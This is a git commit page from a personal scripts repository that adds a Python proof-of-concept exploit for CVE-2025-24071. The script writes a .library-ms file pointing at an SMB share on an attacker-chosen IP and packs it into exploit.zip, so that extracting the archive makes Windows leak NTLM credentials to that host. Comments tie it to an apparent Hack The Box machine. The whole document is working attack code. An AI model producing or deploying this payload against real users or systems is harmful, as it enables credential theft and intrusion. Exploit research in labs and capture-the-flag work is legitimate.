etc

~ scripts and random things

git clone https://github.com/djnnvx/etc.git

commit c2d5d4f4f73630c361311e053ff10a9aad73d9a1
parent 97af8f1c7a319f8e83515e57b8f596efe6dedebd
Author: djnn <[email protected]>
Date: Mon, 22 Sep 2025 13:45:24 +0900

feat: adding sploit for CVE-2025-24071

Diffstat:

sploits/CVE-2025-24071.py

++++++++++++++++++++++++++++++++++++++++

1 file changed, 40 insertions(+), 0 deletions(-)

diff --git a/sploits/CVE-2025-24071.py b/sploits/CVE-2025-24071.py
@@ -0,0 +1,40 @@
+# originally found here: https://github.com/0x6rss/CVE-2025-24071_PoC
+#
+# used for the following box: https://djnn.sh/posts/certificates_fluffy.htb/
+
+import os
+import zipfile
+
+def main():
+    file_name = input("Enter your file name: ")
+    ip_address = input("Enter IP (EX: 192.168.1.162): ")
+
+
+    library_content = f"""<?xml version="1.0" encoding="UTF-8"?>
+<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
+  <searchConnectorDescriptionList>
+    <searchConnectorDescription>
+      <simpleLocation>
+        <url>\\\\{ip_address}\\shared</url>
+      </simpleLocation>
+    </searchConnectorDescription>
+  </searchConnectorDescriptionList>
+</libraryDescription>
+"""
+
+    library_file_name = f"{file_name}.library-ms"
+    with open(library_file_name, "w", encoding="utf-8") as f:
+        f.write(library_content)
+
+
+    with zipfile.ZipFile("exploit.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as zipf:
+        zipf.write(library_file_name)
+
+
+    if os.path.exists(library_file_name):
+        os.remove(library_file_name)
+
+    print("completed")
+
+if __name__ == "__main__":
+    main()